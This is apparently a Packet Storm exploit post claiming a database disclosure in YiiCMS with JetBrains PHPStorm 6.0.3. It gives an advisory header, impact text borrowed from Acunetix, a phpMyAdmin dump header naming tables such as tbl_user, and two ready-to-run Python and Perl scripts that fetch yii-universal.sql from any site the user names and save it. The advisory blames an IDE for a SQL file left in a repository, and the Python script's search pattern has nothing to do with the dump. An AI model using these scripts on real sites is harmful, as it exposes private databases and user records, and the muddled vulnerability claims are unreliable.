what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

YiiCMS JetBrains PHPStorm 6.0.3 Database Disclosure

YiiCMS JetBrains PHPStorm 6.0.3 Database Disclosure
Posted Apr 10, 2019
Authored by KingSkrupellos

YiiCMS JetBrains PHPStorm version 6.0.3 suffers from a database disclosure vulnerability.

tags | exploit, info disclosure
SHA-256 | 6796f35e6f9d3cb976e4ec479d154a909d63e78d55737e9f48fd348dc93ea559

YiiCMS JetBrains PHPStorm 6.0.3 Database Disclosure

Change Mirror Download
###########################################################################

# Exploit Title : YiiCMS JetBrains PHPStorm 6.0.3 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 10/04/2019
# Vendor Homepage : jetbrains.com - yiiframework.com
# Software Download Link : github.com/johannesMatevosyan/yii-cms/archive/master.zip
# Software Information Link : blog.jetbrains.com/phpstorm/2013/06/phpstorm-6-0-3-update-is-available/
jetbrains.com/phpstorm/features/frameworks-support.html
yiiframework.com/extensions?tag=CMS
github.com/johannesMatevosyan/yii-cms
# Software Version : 6.0.3
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/

###########################################################################

# Information about Software :
****************************
PhpStorm is perfect for working with Symfony, Drupal, WordPress, Zend Framework,

Laravel, Magento, Joomla!, CakePHP, Yii, and other frameworks.

###########################################################################

# Impact :
***********
* The product stores sensitive information in files or directories that are accessible

to actors outside of the intended control sphere.

* An information exposure is the intentional or unintentional disclosure of information

to an actor that is not explicitly authorized to have access to that information.

* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of

MySQL over the World Wide Web. It can be used to dump a database or a collection of

databases for backup or transfer to another SQL server (not necessarily a MySQL server).

The dump typically contains SQL statements to create the table, populate it, or both.

This file contains an phpMyAdmin SQL dump. This information is highly sensitive and

should not be found on a production system.

* It looks like this file contains a database backup/dump.

Acunetix inferred this filename from the domain name. A database backup contains a record of the

table structure and/or the data from a database and is usually in the form of a list of SQL statements.

A database backup is most often used for backing up a database so that its contents can be restored

in the event of data loss. This information is highly sensitive and should never be found on a production system.

Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible

to the web server. As a workaround, you could restrict access to this file.

###########################################################################

File :
******
/yii-universal.sql

Information :
*************
-- phpMyAdmin SQL Dump
-- version 3.5.1
-- phpmyadmin.net
--
-- Host: 127.0.0.1
-- Generation Time: Oct 21, 2014 at 11:43 PM
-- Server version: 5.5.25
-- PHP Version: 5.3.13
-- Database: `yii-universal`

-- Table structure for table `tbl_blog`

-- Dumping data for table `tbl_blog`

-- Table structure for table `tbl_event`

-- Dumping data for table `tbl_event`

-- Table structure for table `tbl_file_resource`

-- Table structure for table `tbl_gallery`

-- Table structure for table `tbl_gallery_attachments`

-- Table structure for table `tbl_navigation`

-- Dumping data for table `tbl_navigation`

-- Table structure for table `tbl_post`

-- Dumping data for table `tbl_post`

-- Table structure for table `tbl_user`

-- Dumping data for table `tbl_user`

-- Constraints for dumped tables

-- Constraints for table `tbl_gallery_attachments`

-- Dump Completed.

raw.githubusercontent.com/johannesMatevosyan/yii-cms/master/yii-universal.sql

###########################################################################

# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/yii-universal.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

###########################################################################

# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army

use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('YiiCMS JetBrains PHPStorm 6.0.3 Database Disclosure Exploit');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File="yii-universal.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/yii-universal.sql");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/yii-universal.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}

###########################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

###########################################################################
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    18 Files
  • 6
    Oct 6th
    16 Files
  • 7
    Oct 7th
    12 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close